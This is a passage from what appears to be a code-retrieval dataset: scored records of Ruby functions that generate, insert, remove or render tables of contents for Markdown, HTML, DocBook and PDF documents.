\"</ol>\\n</li>\\n\" if previous_toc_level > current_toc_level\n new_toc << \"\\n<ol#{' id=\"toc\"' if previous_toc_level == 0}>\\n\" if previous_toc_level < current_toc_level\n link = toc_item.at_css('a')\n if link.nil?\n puts toc_item.to_s\n else\n toc_item.at_css('a').inner_html = link.inner_html.sub(/\\A(\\s*\\d+)/, '').strip\n new_toc << \"<li>#{toc_item.inner_html.sub(/#_Toc/, '#Toc')}\"\n end\n previous_toc_level = current_toc_level\n loop do\n toc_item = toc_item.next_element\n breake unless toc_item && toc_item.text?\n end\n toc_item = nil unless toc_item && toc_item.attr('class') && toc_item.attr('class').start_with?('MsoToc')\n end\n @dom.at_css('.MsoToc1').replace(new_toc.join('')) if @dom.at_css('.MsoToc1')\n # Remove old Table of Contents\n @dom.css('.MsoToc1, .MsoToc2, .MsoToc3, .MsoToc4').each { |item| item.remove }\n end", "title": "" }, { "docid": "a776c695a7bff19c210f01ed2373e9bf", "score": "0.65235204", "text": "def generate_toc_entries\n toc_entries = []\n File.open self.f_md, 'r' do |f|\n f.each do |line|\n line.chomp!\n match = /^(\\#{1,#{self.max_depth}})([^#]+)/.match(line)\n if match\n toc_entry = Struct::TocEntry.new(nil, match[2].strip, match[0], match[1].length)\n toc_entries << toc_entry\n end\n end\n end\n toc_entries\n end", "title": "" }, { "docid": "10d636229fd0bfd9adb168b1ea157fcb", "score": "0.6514446", "text": "def toc_children\n xpath('a:part | a:chapter | a:section', a: Slaw::AN)\n end", "title": "" }, { "docid": "73807c28cff9980af1c11eeccbcb5a70", "score": "0.64765376", "text": "def add_table_of_sections\n toc = []\n @context.sections.each do |section|\n if section.title\n toc << {\n 'secname' => section.title,\n 'href' => section.sequence\n }\n end\n end\n\n @values['toc'] = toc unless toc.empty?\n end", "title": "" }, { "docid": "0536e1e78472a6823a4e241a518067db", "score": "0.64743304", "text": "def table_of_content_options(options={})\n @toc_template = options[:template] || PDFBook::Section.new\n @toc_position = options[:position] || @pdf.bounds.top\n @toc_width = options[:width] || @pdf.bounds.width\n @toc_start_at = options[:start_at] || 1\n @use_old_layout = (options[:layout] == :old)\n end", "title": "" }, { "docid": "a50222b7948e46d8f3dbe466f1df8331", "score": "0.64660496", "text": "def gentoc(filename, title, docs)\n\n File.open(filename + '_toc.xml','w+') { |toc|\n toc.puts('<?xml version=\"1.0\" encoding=\"UTF-8\"?>')\n toc.puts('<?NLS TYPE=\"org.eclipse.help.toc\"?>')\n toc.puts('<toc label=\"Eli Documentation\" href=\"html/index.html\">')\n toc.puts(' <topic label=\"' + title + '\" href=\"html/' + filename + '.html\">')\n seen = Hash.new\n level = newlevel = 0\n docs.each { |doc|\n parts = Dir['html/' + doc + '_*.html'].sort { |fn1,fn2| basenum(fn1) <=> basenum(fn2) }\n parts.each { |part|\n File.open(part) { |file|\n file.each { |line|\n line.gsub!(/<(CODE|TT)>([^<]+)<\\/(CODE|TT)>/,'\\2')\n case line\n when /^<H1>([^<]+)<\\/H1>$/ then\n if not seen[$1] then\n if newlevel != 0 then\n toc.print(\"/>\\n\")\n if level != 0 then\n toc.print(' '*((level-1)*2+4),\"</topic>\\n\")\n end\n end\n toc.print(' <topic label=\"',$1,'\" href=\"html/',doc,'_toc.html\"')\n seen[$1] = true\n level = 0\n end\n when /^<H([1-3])><A NAME=\"(SEC[0-9]+)\" HREF=\"[^\"]+\">(.+)<\\/A><\\/H[1-3]>$/ then\n newlevel = $1.to_i\n if newlevel == level then toc.puts('/>')\n elsif newlevel == level + 1 then toc.puts('>')\n elsif newlevel < level then\n toc.print(\"/>\\n\")\n while level > newlevel do\n toc.print(' '*((level-1)*2+4),\"</topic>\\n\")\n level = level - 1\n end\n end\n level = newlevel\n toc.print(' '*(level*2+4),'<topic label=\"',$3,'\" href=\"',part,'#',$2,'\"')\n end\n }\n }\n }\n }\n toc.puts('/>',' </topic>',' </topic>','</toc>')\n }\n\nend", "title": "" }, { "docid": "b4264fabf7f35e6b2686f8b9fc53d422", "score": "0.64649266", "text": "def toc?\n front_matter.fetch(:toc)\n end", "title": "" }, { "docid": "485c7c48df5eb424fd6228434dfe3ef0", "score": "0.6403436", "text": "def to_toc\n result = nil\n\n Renderer.toc do |renderer|\n result = render(renderer)\n end\n\n return result\n end", "title": "" }, { "docid": "48c072688c6e35218648d679dc7b5cdb", "score": "0.640132", "text": "def toc(value)\n end", "title": "" }, { "docid": "48c072688c6e35218648d679dc7b5cdb", "score": "0.640132", "text": "def toc(value)\n end", "title": "" }, { "docid": "c45a56cb8a15edd1807d2b997e4519b0", "score": "0.6387565", "text": "def toc(markdown_text)\n RDiscount.new(markdown_text, :generate_toc).toc_content\n end", "title": "" }, { "docid": "0ad5ca77a16d2452da4f5a26fe17d06c", "score": "0.63736975", "text": "def endTOCPage()\n endPage(true)\n end", "title": "" }, { "docid": "ad6a2f6596f9c6a83738646266ea1a14", "score": "0.6373572", "text": "def book_toc_titles\n File.read(File.join(RAWMD_DIRECTORY, \"toc\")).split(\"\\n\")\nend", "title": "" }, { "docid": "aeb60785ba6c01997513fb4d0dd3bfec", "score": "0.6369063", "text": "def build_toc\n say_status :toc, \"generating #{config.toc}\"\n TableOfContents.new.build(config.toc)\n end", "title": "" }, { "docid": "24ecf221e9b8db8d52a2596cf608fc05", "score": "0.6368483", "text": "def table_of_contents(document, markdown)\n document.gsub(/^(?:^)\\$TOC(.*?)\\$TOC *(\\r|\\n|$)?+/msu) do\n <<~HTML\n <div class=\"toc\">\n <h2 id=\"toc\">Contents</h2>\n #{markdown.render($1)}\n </div>\n HTML\n end\n end", "title": "" }, { "docid": "72d1ba6ad217cc41b9a9508bddccf106", "score": "0.63557255", "text": "def mdtoc(markdown)\n titles = []\n lines = markdown.split($/)\n start = nil\n\n # First pass: Scan the Markdown source looking for titles of the\n # format: `### Title ###`. Record the line number, header level\n # (number of octothorpes), and text of each matching title.\n lines.each_with_index do |line, line_no|\n if line.match(/^(\\#{1,6})\\s+(.+?)\\s+\\1$/)\n titles << [line_no, $1.length, $2]\n start ||= line_no\n end\n end\n\n last_section = nil\n last_level = nil\n\n # Second pass: Iterate over all matched titles and compute their\n # corresponding section numbers. Then replace the titles with\n # annotated anchors.\n titles.each do |title_info|\n line_no, level, text = title_info\n\n if last_section\n section = last_section.dup\n\n if last_level < level\n section << 1\n else\n (last_level - level).times { section.pop }\n section[-1] += 1\n end\n else\n section = [1]\n end\n\n name = section.join(\".\")\n lines[line_no] = %(#{\"#\" * level} <a name=\"section_#{name}\"></a> #{name} #{text})\n\n title_info << section\n last_section = section\n last_level = level\n end\n\n # Third pass: Iterate over matched titles once more to produce the\n # table of contents. Then insert it immediately above the first\n # matched title.\n if start\n toc = titles.map do |(line_no, level, text, section)|\n name = section.join(\".\")\n %(#{\" \" * (section.length * 3)}* [#{name} #{text}](#section_#{name}))\n end + [\"\"]\n\n lines.insert(start, *toc)\n end\n\n lines.join(\"\\n\")\nend", "title": "" }, { "docid": "25b4903bff38ece17c58a51a5b9cd80a", "score": "0.6344977", "text": "def is_toc_header(element)\n return (is_header_element(element) && element.text == 'TOC')\n end", "title": "" }, { "docid": "3d89d5053090e02f1b6b976a516890cc", "score": "0.63371676", "text": "def toc_html nesting_level = 3\n toc = @md.to_toc\n toc_array = []\n toc_to_array(toc, toc_array, nesting_level)\n\n return Kramdown::Converter::Html.convert_toc(toc_array)\n end", "title": "" }, { "docid": "62df355a3694cb91d3cfcab14b2bf25f", "score": "0.63126916", "text": "def collect_toc_ids\n toc_ids = []\n in_toc = false\n File.open self.f_md, 'r' do |f|\n f.each do |line|\n line.chomp!\n case \n when /#{TOC_START_MARKER}/.match(line)\n in_toc = true\n when /#{TOC_END_MARKER}/.match(line)\n break\n when in_toc && /\\[.*\\]\\(#(.*)\\)/.match(line)\n toc_ids << $1\n end\n end\n end\n toc_ids\n end", "title": "" }, { "docid": "48426315a246f8d9cab863a77e97584b", "score": "0.62595683", "text": "def toc?\n\t\t\t@toc\n\t\tend", "title": "" }, { "docid": "3c382995ac0373bf8b1d7ad39d683bfa", "score": "0.62481743", "text": "def save_toc\n toc = Smeagol::TOC.new(@controller)\n file = File.join(@dir, 'toc.json')\n write(file, toc)\n end", "title": "" }, { "docid": "856ffeb10dc0b94816d8ee4eb2652c5f", "score": "0.6243633", "text": "def save_attributes\n # enable toc and numbered by default in DocBook backend\n # NOTE the attributes_modified should go away once we have a proper attribute storage & tracking facility\n if @attributes['basebackend'] == 'docbook'\n @attributes['toc'] = '' unless attribute_locked?('toc') || @attributes_modified.include?('toc')\n @attributes['numbered'] = '' unless attribute_locked?('numbered') || @attributes_modified.include?('numbered')\n end\n\n unless @attributes.has_key?('doctitle') || (val = doctitle).nil?\n @attributes['doctitle'] = val\n end\n\n # css-signature cannot be updated after header attributes are processed\n if !@id && @attributes.has_key?('css-signature')\n @id = @attributes['css-signature']\n end\n\n toc_val = @attributes['toc']\n toc2_val = @attributes['toc2']\n toc_position_val = @attributes['toc-position']\n\n if (!toc_val.nil? && (toc_val != '' || toc_position_val.to_s != '')) || !toc2_val.nil?\n default_toc_position = 'left'\n default_toc_class = 'toc2'\n position = [toc_position_val, toc2_val, toc_val].find {|pos| pos.to_s != ''}\n position = default_toc_position if !position && !toc2_val.nil?\n @attributes['toc'] = ''\n case position\n when 'left', '<', '&lt;'\n @attributes['toc-position'] = 'left'\n when 'right', '>', '&gt;'\n @attributes['toc-position'] = 'right'\n when 'top', '^'\n @attributes['toc-position'] = 'top'\n when 'bottom', 'v'\n @attributes['toc-position'] = 'bottom'\n when 'center'\n @attributes.delete('toc2')\n default_toc_class = nil\n default_toc_position = 'center'\n end\n @attributes['toc-class'] ||= default_toc_class if default_toc_class\n @attributes['toc-position'] ||= default_toc_position if default_toc_position\n end\n\n @original_attributes = @attributes.dup\n\n # unfreeze \"flexible\" attributes\n unless nested?\n FLEXIBLE_ATTRIBUTES.each do |name|\n # turning a flexible attribute off should be permanent\n # (we may need more config if that's not always the case)\n if @attribute_overrides.has_key?(name) && !@attribute_overrides[name].nil?\n @attribute_overrides.delete(name)\n end\n end\n end\n end", "title": "" }, { "docid": "934cfc4aa3787b1a514897a2c2e206b4", "score": "0.62406063", "text": "def disabletoc()\n merge(disabletoc: 'true')\n end", "title": "" }, { "docid": "3cdca8711e877fb27aafd0856e6a1e3d", "score": "0.622868", "text": "def ink_toc doc, num_levels, toc_page_number, start_cursor, num_front_matter_pages = 0\n go_to_page toc_page_number unless (page_number == toc_page_number) || scratch?\n start_page_number = page_number\n move_cursor_to start_cursor\n unless (toc_title = doc.attr 'toc-title').nil_or_empty?\n theme_font_cascade [[:heading, level: 2], :toc_title] do\n toc_title_text_align = (@theme.toc_title_text_align || @theme.heading_h2_text_align || @theme.heading_text_align || @base_text_align).to_sym\n ink_general_heading doc, toc_title, align: toc_title_text_align, level: 2, outdent: true, role: :toctitle\n end\n end\n # QUESTION: should we skip this whole method if num_levels < 0?\n unless num_levels < 0\n dot_leader = theme_font :toc do\n # TODO: we could simplify by using nested theme_font :toc_dot_leader\n if (dot_leader_font_style = @theme.toc_dot_leader_font_style&.to_sym || :normal) != font_style\n font_style dot_leader_font_style\n end\n font_size @theme.toc_dot_leader_font_size\n {\n font_color: @theme.toc_dot_leader_font_color || @font_color,\n font_style: dot_leader_font_style,\n font_size: font_size,\n levels: ((dot_leader_l = @theme.toc_dot_leader_levels) == 'none' ? ::Set.new :\n (dot_leader_l && dot_leader_l != 'all' ? dot_leader_l.to_s.split.map(&:to_i).to_set : nil)),\n text: (dot_leader_text = @theme.toc_dot_leader_content || DotLeaderTextDefault),\n width: dot_leader_text.empty? ? 0 : (rendered_width_of_string dot_leader_text),\n # TODO: spacer gives a little bit of room between dots and page number\n spacer: { text: NoBreakSpace, size: (spacer_font_size = @font_size * 0.25) },\n spacer_width: (rendered_width_of_char NoBreakSpace, size: spacer_font_size),\n }\n end\n theme_margin :toc, :top\n ink_toc_level (get_entries_for_toc doc), num_levels, dot_leader, num_front_matter_pages\n end\n # NOTE: range must be calculated relative to toc_page_number; absolute page number in scratch document is arbitrary\n toc_page_numbers = (toc_page_number..(toc_page_number + (page_number - start_page_number)))\n go_to_page page_count unless scratch?\n toc_page_numbers\n end", "title": "" }, { "docid": "a09a52071e1fe474eee65fc45291d82d", "score": "0.621747", "text": "def toc_entry(name, anchor)\n @io << @templates[:toc_entry].result(binding)\n end", "title": "" }, { "docid": "54118d795b3ec4fc8a02dd59fc94896e", "score": "0.62072754", "text": "def remove_toc\n return unless TocGen::contains_toc?(self.f_md)\n toc_ids = collect_toc_ids\n f_patched = %{#{File.dirname(self.f_md)}/#{File.basename(self.f_md, \".md\")}.without_toc.md}\n File.open self.f_md, 'r' do |f_in|\n File.open f_patched, 'w' do |f_out|\n in_toc = false\n end_of_toc_passed = false\n i_current_id = 0\n\n f_in.each do |line|\n is_heading_anchor = false\n current_id = i_current_id ? toc_ids[i_current_id] : nil\n\n case line\n when /#{TOC_START_MARKER}/\n in_toc = true\n when /#{TOC_END_MARKER}/\n end_of_toc_passed = true\n when i_current_id && /id=\"#{current_id}\"/i\n is_heading_anchor = true\n i_current_id = i_current_id < toc_ids.length - 1 ? i_current_id + 1 : nil\n else\n in_toc = false if end_of_toc_passed\n end\n\n skip_line = in_toc || is_heading_anchor \n unless skip_line\n f_out << line\n end\n end\n end\n end\n FileUtils.mv f_patched, self.f_md \n end", "title": "" }, { "docid": "4875f688f73a6a9e6f3d84c662ccbed2", "score": "0.61795104", "text": "def add name, len\n $LOG.info \"Adding an entry to TOC, length is %d\" % len\n \n if @toc_ary.size >= @max_tocs\n $LOG.warn \"TOC entry limit reached\"\n ret = -1 \n elsif @part_used + len > @part_size\n $LOG.warn \"TOC No More Space: Used = \" \\\n + @part_used.to_s + \" Len = \" \\\n + len.to_s + \" Total size = \" + @part_size.to_s\n ret = -1 \n else\n \n print \"TOC_ARY SIZE = \" + @toc_ary.size.to_s + \"\\n\"\n\n # Sort the array of records\n @toc_ary.sort!\n\n######################## WORK OUT THE FRAGMENTING HERE, THE TOC RECORS ARE NOW SORTED\n# RETURN ret\n # Get the lowest offset value or zero\n if @toc_ary.empty? || @toc_ary[0].get_offset > 0\n @offset = 0 # Let part take care of the fragmenting\n else\n old_pos = 0\n for i in (0..@toc_ary.size - 1) \n print \"START OF TOC RECORD IS \" + @toc_ary[i].to_s + \"\\n\"\n if old_pos > 0 && old_pos < @toc_ary[i].offset\n @offset = old_pos\n break\n end\n old_pos = @toc_ary[i].get_offset + @toc_ary[i].get_length\n end\n end\n\n# END\n\n r = Record.new\n r.set_fname name\n r.set_offset @offset\n r.set_length len \n r.set_status 0\n @toc_ary << r \n ret = @offset\n @offset += len \n @part_used += len\n end \n ret # return details\n end", "title": "" }, { "docid": "0dcc02a1222b140428e43bbd8a2c80da", "score": "0.61775243", "text": "def process_toc_tag(node)\n # we still need to go one step up to also replace the surrounding <p></p>\n node.parent.replace(result[:toc].presence || '')\n end", "title": "" }, { "docid": "e8ac14e10ea7467d157c9238498336d2", "score": "0.6168306", "text": "def toclist\n super.select { |obj| obj.is_a?(Page) && obj.show_in_navigation? }.sort_by { |obj| obj.sort_key.to_s }\n end", "title": "" }, { "docid": "39d1fb59cc5b841b4a9531d0fbc754a0", "score": "0.6163086", "text": "def help_toc(*topics, **opt)\n link_type = opt.delete(:type)\n outer_tag = opt.delete(:tag) || :ul\n inner_opt = opt.delete(:inner)&.dup || {}\n inner_tag = inner_opt.delete(:tag).presence || :li\n html_tag(outer_tag, opt) do\n help_links(*topics, type: link_type).map do |title, path|\n html_tag(inner_tag, inner_opt) { link_to(title, path) }\n end\n end\n end", "title": "" }, { "docid": "07e3bdeaa94f6a9a08121e8e1d8cc52a", "score": "0.6139385", "text": "def table_of_contents(source_file, toc_prefix=nil)\n file = File.expand_path(\"../../source/#{source_file}\", __FILE__)\n content = File.read(file)\n toc_renderer = Redcarpet::Render::HTML_TOC.new nesting_level: 3\n markdown = Redcarpet::Markdown.new(toc_renderer)\n toc = markdown.render(content)\n\n if toc_prefix\n toc = MarkdownIds.change_id toc, toc_prefix\n end\n\n doc = Nokogiri::HTML(toc)\n doc.css('ul').each do |el|\n el[:class] = 'nav'\n end\n toc = doc.to_s\n toc\n end", "title": "" }, { "docid": "91d93a992dcdf1f0ff86b447d1969e7e", "score": "0.6127288", "text": "def generate_stuff\n build_toc if config.toc\n end", "title": "" }, { "docid": "173c35b58ea7f37bbf1e3ed25f79ba00", "score": "0.6125191", "text": "def toc_sub_entries_start\n @io << @templates[:toc_sub_entries_start].result(binding)\n end", "title": "" }, { "docid": "e6d22c9880232647ec049b4ebf708b94", "score": "0.6099857", "text": "def addTOCPage(orientation='', format='', keepmargins=false)\n AddPage(orientation, format, keepmargins, true)\n end", "title": "" }, { "docid": "7cc658df09b267cefba74435e0f1938d", "score": "0.60675496", "text": "def build_toc\n @chapters.each do |chapter|\n @toc.add(chapter.id, chapter.title)\n\n chapter.each do |slide|\n toc.add_sub_entry(chapter.id, slide.id, slide.title) unless slide.skip\n end\n end\n end", "title": "" }, { "docid": "84fb1cff57cceeeabe0b25bc2f858dba", "score": "0.60441947", "text": "def table_of_contents\n descMetadata.table_of_contents\n end", "title": "" }, { "docid": "2accab538037b3b6c837c0ce0e32e69a", "score": "0.60305184", "text": "def replace_toc_marker\n toc_marker = doc.find do |node|\n node.type == :html and node.string_content.include? \"<!-- TOC -->\"\n end\n\n return unless toc_marker\n\n toc_marker.insert_after document_toc\n toc_marker.insert_after CommonMarker.render_doc(\"## Table of Contents\").first_child\n end", "title": "" }, { "docid": "937331242de19f1b978c118ec0e1594e", "score": "0.60258806", "text": "def toc_start\n @io << @templates[:toc_start].result(binding)\n end", "title": "" }, { "docid": "723fde5d1998ecba64e101b10f608071", "score": "0.60014373", "text": "def transform_toc( str, rs )\n @log.debug \" Transforming tables of contents\"\n str.gsub(TOCRegexp){\n start_level = 1 # default\n end_level = 6\n\n param = $2\n if param then\n if param =~ TOCStartLevelRegexp then\n if !($1) and !($2) then\n rs.warnings << \"illegal TOC parameter - #{param} (valid example: 'h2..h4')\"\n else\n start_level = ($1 ? $1.to_i : 1)\n end_level = ($2 ? $2.to_i : 6)\n end\n else\n rs.warnings << \"illegal TOC parameter - #{param} (valid example: 'h2..h4')\"\n end\n end\n\n if rs.headers.first and rs.headers.first.level >= (start_level + 1) then\n rs.warnings << \"illegal structure of headers - h#{start_level} should be set before h#{rs.headers.first.level}\"\n end\n\n\n ul_text = \"\\n\\n\"\n div_class = 'toc'\n div_class << ' right' if $1 == '>'\n div_class << ' left' if $1 == '<'\n ul_text << \"<ul class=\\\"#{div_class}\\\">\"\n rs.headers.each do |header|\n if header.level >= start_level and header.level <= end_level then\n ul_text << \"<li class=\\\"heading#{header.level}\\\"><a href=\\\"##{header.id}\\\">#{header.content_html}</a></li>\\n\"\n end\n end\n ul_text << \"</ul>\"\n ul_text << \"\\n\"\n\n ul_text # output\n\n }\n end", "title": "" }, { "docid": "723fde5d1998ecba64e101b10f608071", "score": "0.60014373", "text": "def transform_toc( str, rs )\n @log.debug \" Transforming tables of contents\"\n str.gsub(TOCRegexp){\n start_level = 1 # default\n end_level = 6\n\n param = $2\n if param then\n if param =~ TOCStartLevelRegexp then\n if !($1) and !($2) then\n rs.warnings << \"illegal TOC parameter - #{param} (valid example: 'h2..h4')\"\n else\n start_level = ($1 ? $1.to_i : 1)\n end_level = ($2 ? $2.to_i : 6)\n end\n else\n rs.warnings << \"illegal TOC parameter - #{param} (valid example: 'h2..h4')\"\n end\n end\n\n if rs.headers.first and rs.headers.first.level >= (start_level + 1) then\n rs.warnings << \"illegal structure of headers - h#{start_level} should be set before h#{rs.headers.first.level}\"\n end\n\n\n ul_text = \"\\n\\n\"\n div_class = 'toc'\n div_class << ' right' if $1 == '>'\n div_class << ' left' if $1 == '<'\n ul_text << \"<ul class=\\\"#{div_class}\\\">\"\n rs.headers.each do |header|\n if header.level >= start_level and header.level <= end_level then\n ul_text << \"<li class=\\\"heading#{header.level}\\\"><a href=\\\"##{header.id}\\\">#{header.content_html}</a></li>\\n\"\n end\n end\n ul_text << \"</ul>\"\n ul_text << \"\\n\"\n\n ul_text # output\n\n }\n end", "title": "" }, { "docid": "bff7a87eba948658444c44b370f1b605", "score": "0.59891427", "text": "def toc(value); end", "title": "" }, { "docid": "ac21be1a528df8d838f462466d06655f", "score": "0.59824955", "text": "def process_toc!\n processed_content.gsub!(HEADER_REGEXP) do\n number = $~[:number].to_i\n name = $~[:name].strip\n\n %Q{\\nh#{number}. <a name=\"#{sanitize_anchor_name(name)}\">#{name}</a>}\n end\n end", "title": "" }, { "docid": "0d8f33ee188dc77af8ed9fd3924d6de0", "score": "0.59358895", "text": "def render_table_of_contents\n\n # Build the Table of Content page\n toc_template = PDFBook::Section.new\n\n # Show the title\n toc_template.add_text \"Table of Contents\",\n align: :center,\n font_size: TITLE_FONT_SIZE,\n gap: 0.43.in,\n position: origin(padding_top: 0.75.in)\n\n # Configure the table of content\n @document.table_of_content_options(\n template: toc_template,\n start_at: 2,\n position: 6.47.in\n )\n\n @document << :table_of_content\n end", "title": "" }, { "docid": "23c83e28835fe591e247044ad26c21ed", "score": "0.5902886", "text": "def toc(sitemap)\n branch = sitemap.branch_down(self.path)\n self.build_html_tree(branch)\n end", "title": "" }, { "docid": "ea95550882a3bee5684dfb14bed84f58", "score": "0.5896555", "text": "def insert_toc(skip = 1)\n toc_entries = generate_toc_entries\n return if toc_entries.length == 0\n generate_toc_ids(toc_entries)\n\n remove_toc # Remove any existing toc and associated anchors\n\n f_patched = %{#{File.dirname(self.f_md)}/#{File.basename(self.f_md, \".md\")}.with_toc.md}\n File.open self.f_md, 'r' do |f_in|\n File.open f_patched, 'w' do |f_out|\n i_toc_entry = 0\n current_toc_entry = toc_entries[0]\n f_in.each do |line|\n if current_toc_entry\n line2 = line.chomp.strip\n if line2 == current_toc_entry.original_markdown\n if i_toc_entry == skip\n # Insert the TOC before this heading.\n write_toc(f_out, toc_entries, skip)\n end\n\n if i_toc_entry >= skip\n # Insert an anchor tag, for the TOC intra-document link target, before this heading.\n anchor_tag = %{<a id=\"#{current_toc_entry.id}\"></a>\\n}\n f_out << anchor_tag\n end\n\n i_toc_entry += 1\n current_toc_entry = i_toc_entry < toc_entries.length ? toc_entries[i_toc_entry] : nil\n end\n end\n f_out << line\n end\n end\n end\n FileUtils.mv f_patched, self.f_md\n end", "title": "" }, { "docid": "34279d51cb410eb5962c381e6fabd4dd", "score": "0.5888087", "text": "def add_class_to_toc(nav_file)\n doc = open(nav_file) {|f| Nokogiri::XML(f)}\n doc.at_css(\"nav\")[\"id\"] = \"TOC\"\n open(nav_file, 'w') do |f|\n doc.write_xml_to(f, save_with: xml_write_options)\n end\n end", "title": "" }, { "docid": "9db4ce41be274f440c2de41e83ef421d", "score": "0.5881352", "text": "def toc_for_markdown markdown\n # Find every H2\n headings = []\n offset = 0\n while true do\n offset = markdown.index %r\"^## (.+?)\\n\", offset\n label = $1\n break if offset.nil?\n headings << \"\\n + [#{label}](\\##{label.gsub \" \", \"_\"})\"\n offset += 1\n end\n headings.join\nend", "title": "" }, { "docid": "6d690f98c95f2e604159e1fb4a946f7b", "score": "0.58572775", "text": "def toc_file_name\n toc_manifest_item['href']\n end", "title": "" }, { "docid": "03605e3ee7d556bbe5ad67d99be722ee", "score": "0.5854286", "text": "def build_toc( html_content )\n # Generate Nokogiri elements from HTML\n doc = Nokogiri::HTML::DocumentFragment.parse( html_content )\n\n # Make sure all header anchors are unique.\n make_header_anchors_unique(doc)\n\n # Find the TOC header\n toc = find_toc_header(doc)\n\n # Just return what was passed to us if there's no TOC.\n return html_content if toc.nil?\n\n # Get all headers in the document, starting from the TOC header.\n headers = get_headers(doc, toc)\n\n # Build the link info for the TOC.\n toc_links = []\n headers.each do |element|\n toc_links << link_hash(element)\n end\n\n # Convert link info to markdown.\n toc_md = toc_to_markdown(toc_links)\n\n # Convert the TOC markdown to HTML\n bc = BlueCloth::new( toc_md, pseudoprotocols: true )\n toc_content = bc.to_html\n\n # Convert the TOC HTML to Nokogiri elements.\n toc_html = Nokogiri::HTML::DocumentFragment.parse(toc_content)\n\n # Add toc class to the <ul> element\n toc_html.css('ul').add_class('toc')\n\n # Insert the TOC content before the toc element\n toc.before(toc_html.children)\n\n # Remove the TOC header placeholder element.\n toc.remove\n\n # Return the HTML\n doc.to_html\n end", "title": "" }, { "docid": "aa55370cb3d0b546e063bf96ca11c33b", "score": "0.5841814", "text": "def toc_sub_entry(name, anchor)\n return if name == @last_toc_name\n\n @last_toc_name = name\n @io << @templates[:toc_sub_entry].result(binding)\n end", "title": "" }, { "docid": "50a76beac6aa959a5571c9db06a80d51", "score": "0.5840545", "text": "def render_table_of_content\n toc_font_size = 11\n cells = []\n @toc.sort_by{|label, page| page}.each do |label, page|\n\n # 'Start at' parameter\n page = get_accurate_page_number page\n\n label_cell = @pdf.make_cell(content: label.upcase.to_s, font: @font, size: toc_font_size, font_style: :bold)\n page_cell = @pdf.make_cell(content: page.to_s, size: toc_font_size, font: @font, font_style: :normal)\n page_cell.align = :right\n cells << [page_cell, label_cell]\n end\n\n if !cells.empty?\n @toc_template.add_custom(\n move_cursor_to: @toc_position,\n table: [\n cells,\n width: @toc_width,\n cell_style: { borders: []},\n position: :center,\n column_widths: {0 => 1.125.in}\n ]\n )\n end\n @pdf.go_to_page @toc_page if @toc_page > 0\n\n render_section @toc_template, false\n end", "title": "" }, { "docid": "6e3708a34fb5abe9c373c41839b33087", "score": "0.58301353", "text": "def toc_sub_entries_end\n @io << @templates[:toc_sub_entries_end].result(binding)\n end", "title": "" }, { "docid": "e8832c7f27f329f8493108e0516671cf", "score": "0.5820452", "text": "def toc_menu\n result = ''\n\n result << '<ul>' << nl\n\n @toc.entries.each do |e|\n result << \" <li><a href='##{e.id}'>#{e.name}</a>\" << nl\n\n unless e.entries.empty?\n result << ' <ul>' << nl\n\n e.entries.each do |se|\n unless se.name == @last_toc_name\n result << \" <li><a href='##{se.id}'>#{se.name}</a>\" << nl\n @last_toc_name = se.name\n end\n end\n end\n\n result << ' </ul>' << nl\n end\n\n result << ' </ul>' << nl\n result\n end", "title": "" }, { "docid": "f8ae9c5d6676cd113e51b3d243adca18", "score": "0.581977", "text": "def fetch_toc_full(toc, &block)\n fetch toc, 'full', :json, &block\n end", "title": "" }, { "docid": "83a9bfab0020eae48e7d4b70fd8c5d23", "score": "0.5797629", "text": "def toc_children\n if in_schedules?\n # in schedules, we only care about chapters that have numbers in them, because we\n # can't link to them otherwise\n xpath('a:chapter[a:num]', a: Slaw::NS)\n else\n xpath('a:part | a:chapter | a:section', a: Slaw::NS)\n end\n end", "title": "" }, { "docid": "2be10aa4e4987d53b090b9d8205ddd78", "score": "0.5749884", "text": "def to_html\n MaRuKu::Out::HTML::HTMLElement.new('div', { 'class' => 'maruku_toc' }, _to_html)\n end", "title": "" }, { "docid": "a9af99c05008c400ca75d1d8d2f1dae2", "score": "0.5736838", "text": "def add_table_of_contents(cookbook)\n template = cookbook.template\n\n # Build the Table of Content page\n toc_template = PDFBook::Section.new(\n background: cookbook.template.toc_image(cookbook.grayscale==1),\n background_size: :margin,\n page_margin_left: HC_COVER_MARGIN[:left],\n page_margin_right: HC_COVER_MARGIN[:right],\n page_margin_top: HC_COVER_MARGIN[:top],\n page_margin_bottom: HC_COVER_MARGIN[:bottom]+2.mm # Need to add ~2 mm to keep the same result as the old lib\n )\n\n # Show the title\n toc_template.add_text \"Table of Contents\",\n position: PdfCookbook.fpdf_y(template.toc_header_y.mm, true),\n align: :center, \n color: (cookbook.grayscale?) ? \"000000\" : PdfCookbook.fpdf_color(template.book_color),\n font_style: PdfCookbook.fpdf_font_style(template.headers_font_style),\n font_size: template.headers_font_size.to_i,\n font: template.book_font\n\n # Configure the table of content\n @document.table_of_content_options(\n template: toc_template,\n width: HC_PAGE_WIDTH - (HC_COVER_MARGIN[:left]+28.mm+HC_COVER_MARGIN[:right]+28.mm), # '+28' is in the old lib\n position: PdfCookbook.fpdf_y(template.toc_header_y.mm + template.headers_font_size.to_i + 6.mm, true),\n start_at: 3 # The Cover and it's back does not count\n )\n\n @document << :table_of_content\n end", "title": "" }, { "docid": "ef055bf9cd250b1c9816038396abc65b", "score": "0.57309306", "text": "def nav_toc_index( locals = {} )\n recurse = locals.key?(:recurse) && locals[:recurse]\n return if recurse && locals[:start].nil?\n\n commence = locals[:start] || current_page\n pages = commence.legitimate_children\n\n if recurse\n unless pages.to_a.empty?\n haml_tag :ul do\n pages.each do |p|\n haml_tag :li do\n haml_concat link_to p.data.title, p\n nav_toc_index :start => p, :recurse => true\n end\n end\n end\n end\n else\n capture_haml do\n locals[:klass] = locals.delete(:class) if locals.key?(:class)\n haml_tag :ul, :class => (locals.key?(:klass) && locals[:klass]) || nav_toc_index_class do\n haml_tag :li do\n haml_concat link_to commence.data.title, commence\n nav_toc_index :start => commence, :recurse => true\n end\n end\n end # capture_haml\n end\n\n end", "title": "" }, { "docid": "a3d6576b6664cfcc283ccf1023bd4487", "score": "0.57236624", "text": "def generate_outline(node, opts = {})\n # This is the same as Html5Converter outline()\n return unless node.sections?\n return if node.sections.empty?\n sectnumlevels = opts[:sectnumlevels] || (node.document.attr 'sectnumlevels', 3).to_i\n toclevels = opts[:toclevels] || (node.document.attr 'toclevels', 2).to_i\n sections = node.sections\n result = [%(<ul class=\"sectlevel#{sections[0].level}\">)]\n sections.each do |section|\n slevel = section.level\n if section.caption\n stitle = section.captioned_title\n elsif section.numbered && slevel <= sectnumlevels\n stitle = %(#{section.sectnum} #{section.title})\n else\n stitle = section.title\n end\n stitle = stitle.gsub DropAnchorRx, '' if stitle.include? '<a'\n\n # But add a special style for 